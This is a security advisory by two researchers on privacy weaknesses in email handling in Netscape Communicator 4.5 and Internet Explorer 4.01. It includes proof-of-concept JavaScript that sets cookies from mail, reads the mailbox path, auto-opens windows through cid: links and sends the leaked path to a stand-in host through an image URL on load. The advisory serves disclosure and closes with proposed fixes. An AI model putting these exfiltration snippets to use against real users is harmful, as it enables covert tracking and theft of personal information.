Weaknesses in some Browser's Privacy Scheme
by Gioacchino La Vecchia and Claudio Telmon
gio@link.it, claudio@link.it
Abstract: while inspecting some features of Netscape Communicator 4.5
for Linux and Windows we found some weaknesses in how user's privacy is
protected; these weaknesses permit to gather information on user's environment
through mail messages, even if received via mailing lists or some anonymizing
systems and proxies. Some of our finding are also valid for Internet Explorer
4.01, altrough we didn't check that browser as carefully as Communicator.
We didn't also check older releases of both browsers.
Exploits are just an example of the dangers of the vulnerability. We
don't want by any way to be exaustive on this topic ;)
Description of weaknesses
1. Setting cookies with mail messages
Description
What we first found was how easily cookies can be set by a piece of Javascript
code in a mail message. This simple message body sets a cookie on the reader's
system:
function SetCookie (name, value, expdate) {
document.cookie = "Kerby" + name.substring(2,6) + "=" + escape
(value) +
"; expires=" + expdate.toGMTString();
}
|
The cookie is set with a void domain. Path is also void unless explicitely
set. That is, there is no information in the cookie linking it to it's
source message, or to the sender's address or domain.
These cookies can be read by any Javascript code in subsequent mail
messages, as shown by this code:
function getCookieVal (offset) {
var endstr = document.cookie.indexOf (";", offset);
if (endstr == -1)
endstr = document.cookie.length;
return unescape(document.cookie.substring(offset, endstr));
}
function GetCookie (name) {
var arg = name + "=";
var alen = arg.length;
var clen = document.cookie.length;
var i = 0;
while (i < clen) {
var j = i + alen;
if (document.cookie.substring(i, j) == arg)
return getCookieVal (j);
i = document.cookie.indexOf(" ", i) + 1;
if (i == 0) break;
}
return null;
}
|
One preference that a user can set in Communicator is "Only accept cookies
originating from the same server as the page being viewed"; setting this
property does not protect against cookies originating from mail messages,
since all these cookies share the same (void) "server".
Vulnerable browsers
Both Netscape Communicator 4.5 and Internet Explorer 4.01 exibit this behaviour.
Discussion
When received by a Web server, a cookie owns some properties that limit
it's availability to other servers. This is due to the requirement to limit
the ability of sites to map user's navigation history and preferences.
This does not hold when cookies are received via mail. That is, it
is fairly easy to map user's "mail history": mailing list subscriptions,
previous advertisement messages, etc. These cookies can't be sent to Web
servers, but their name and value can be used to buid a URL, so in fact
their information can be disclosed to remote servers.
Exploits
Suppose you want to "cross-reference" the users of two mailing lists: all
you need to do is to send a message on the first mailing list wich sets
a cookie with value "1". The cookie will be available for any message of
the second mailing list, that can do thing like:
-
show a different message if the cookie is present;
-
connect to your web site with some HTML code like <IMG SRC="http://server.example.net/path_derived_from_cookie_data">
enbedded in the message; this would let you send targeted information and
possibly map user's IP address or domain.
2. Gathering sensitive information
The second step was gathering some sensitive information from the user's
browser. This information can be put in the cookie or sent to a web site.
An available value is location.href. This value is void when set from a
mail message. However, if the message or an attachment is opened in a new
browser window, the value is set to the path of the message, that is someting
like:
mailbox:/path/data
where path is the "path" of the mailbox and "data" contains some information
bound to the message and the mailbox. The path also gives usually some
useful information: on Windows systems it is something like: C:\windows\temp\,
on Linux (and possibly other Unix-like) it's someting like: /home/<username>/nsmail/<folder>.
This gives you both the username and the system type.
Vulnerable browsers
Both Netscape Communicator and Internet Explorer disclose the path information.
However, the path information disclosed by Internet Explorer is less sensitive.
Discussion
This is probably a bug, since path information should not be available
to javascript code. It's also the worst problem we found in this research,
since it can disclose the actual e-mail address of the user, passing through
anonymizers, forwarders and firewalls. This is acheived if the username
can be bound to a domain or IP address, i.e. if the page connects to a
hostile web server. The use of a proxy can avoid this problem in
some situations. Be it used with targeted messages or spam, it's a powerful
tools for real e-mail addresses collection. If the address is set in a
cookie, it will be available for every subsequent message, no matter who
the sender is, without requiring to use the same trick of opening a different
window. If encoded, the e-mail address can be difficult to recognize even
if the cookie file is opened for inspection.
Exploits
Many are obvious, examples aren't probably needed.
3. Opening the window with the attachment
The previous step requires the message body to be opened in a new window.
Since a user wouldn't in many cases open a new window to see a message
or an attachment (i.e. in a spam message), the message can do it himself:
<script language="JavaScript">
<!--
function clickit() {
document.kerby1.submit();
}
//-->
</script>
<body onLoad="click()">
<A HREF="cid:kerby1.html">ciao</A>
<P>
<FORM NAME="kerby1" ACTION="cid:kerby1.html" METHOD="post" TARGET="_blank">
<INPUT TYPE="hidden" NAME="Kerb" VALUE="">
</FORM>
</body>
|
The trick is the "cid:" that refers to a part of the multipart mime
message himself.
Let's take a look a little close to the information
we're been able to gather in such a way:
mailbox:PATHTOHOME/gio/nsmail/PATHTOFOLDER?\
id=MAILID%40DOMAIN&number=OFFSET&part=1.2
where:
-
PATHTOHOME is the real path of the user's home, it could be /home or /opt/home
etc..
-
PATHTOFOLDER is the real path of the mailbox, it could contain information,
just think to a path as personal.sbd/contacts.sbd/ACMEWORKS where ACMEWORKS
is the worst competitor of your boss :-)
-
OFFSET is the offset of the message in the mailbox, in bytes.
|
Vulnerable browsers
Communicator because of his cid:
Discussion
This is probably more an undocumented feature than a bug. We found cid
just in some technical articles. We include it here mainly because it's
interesting and it's required for a useful exploit of the previous bug.
Exploits
This feature can be use for a denial of service based on recursive openig
of windows. This isn't probably an issue, since other methods can be easily
used.
4. Sending sensitive information without cookies or windows
Cookies can be useful to pass information between mail messages, but can
be refused or detected by the user. If the need is just to send the sensitive
information to a web site, maybe a less detectable way can be useful. Moreover,
opening a window can be suspect, so it's probably better to avoid it at
all. This code does exactly this:
<script language="JavaScript">
<!--
function swapImage() {
document.kerbimg.src="http://some.host1/"+document.kerby1.action;
}
//-->
</script>
<body onLoad="swapImage()">
ciao<P>
<FORM NAME="kerby1" ACTION="cid:kerby1.html" METHOD="post" TARGET="_blank">
<INPUT TYPE="hidden" NAME="Kerb" VALUE="">
</FORM>
<IMG NAME="kerbimg" SRC="http://some.host/">
</body>
|
It sends the information embedded in the URL of an embedded image and
doesn't open any window, since the information is gathered from the form
(which btw. doesn't give any warning since the action is not performed).
Vulnerable browsers
We didn't test it on Explorer.
Discussion
This code exposes two waeknesses. The first one is a consequence of the
already discussed ones, that is sending sensitive information without the
user being able to avoid it. The second one is however the most important
one: while form actions under certain conditions (specificare) can't be
performed without user's approval or explicit action, the informations
are available in the page for different handling and, in this case, for
different ways of submission.
Exploits
This piece of code can send sensitive information whitout user's
notice and without the user being able to avoid it. It can be used to send
to a hostile server any sensitive information collected by other means.
5. Gathering sensitive informations from links inside e-mails
When displayed an e-mail message shows a list of links corresponding to
a subset of the headers of the message.
Sender, Message-ID, From, To and References fields are shown as links.
A Javascript hostile code is able to grab these links's values pack and
deliver them to an attacker. Some of these links's values are not always
accessible (their value is foo when Communicator adds the addbook:),
but in some cases they can be accessed. One is this URL:
wysiwyg://0/mailbox:/PATH/MAILBOX?number=OFFSET
where the mailbox is the current mailbox.
Note that the mailbox can be easily gathered using one of the previous
bugs (or the default Inbox can be tried). The offset=2 points to
the first message inserted in the mailbox. Trying to access other messages
with tentative offsets always crashed Communicator, but if the correct
offset of a message (or its id) can be found, the URL works.
Vulnerable browser
These vulnerabilities have been tested on Netscape Messenger.
Discussion
This vulnerability lets potentially everyone browse your mailboxes and
get as many informations he needs about people you
are exchanging message with. Not less important this is an easy way
to discover real mail addresses of people who stay
behind a Firewall.
addrnumb=document.links.length
list=""
for ( i = 0; i <addrnumb; i++) {
list+=document.links[i]
}
|
6. Comments and proposed solutions
More information?
We focused on the location.href or URL of the message, since this information
is available and sensitive. We didn't carefully look for other available
information, in Communicator o Internet Explorer. There can be more to
be found.
The cookie problem
It's not clear to us if setting cookies with mail messages is correct and
useful; it's probably better to be able to disable :) this feature with
a specific option (the way javascript in mail messages can be now separately
disabled). The biggest problem is however that there is no server information.
Setting this information to the sender address could be a solution, but
the sender of a message can be trivially forged. Cookies set by mail messages
should be probably protected as sensitive information, that is no information
derived from them sould be sent over the Internet
URL information
The URL of a mail message contains sensitive information (in both Communicator
and Internet Explorer it contains at least a path). The availability of
this information to javascript code is probably just a bug that needs to
be corrected.
Form information
Document Object Model shoul avoid to gather local
system informations. We never expect to find local system informations
or
real user names in a value set by the browser.
Link information
This is very sensitive information. Access to this
information probably exposes an implementation bug and not a design failure.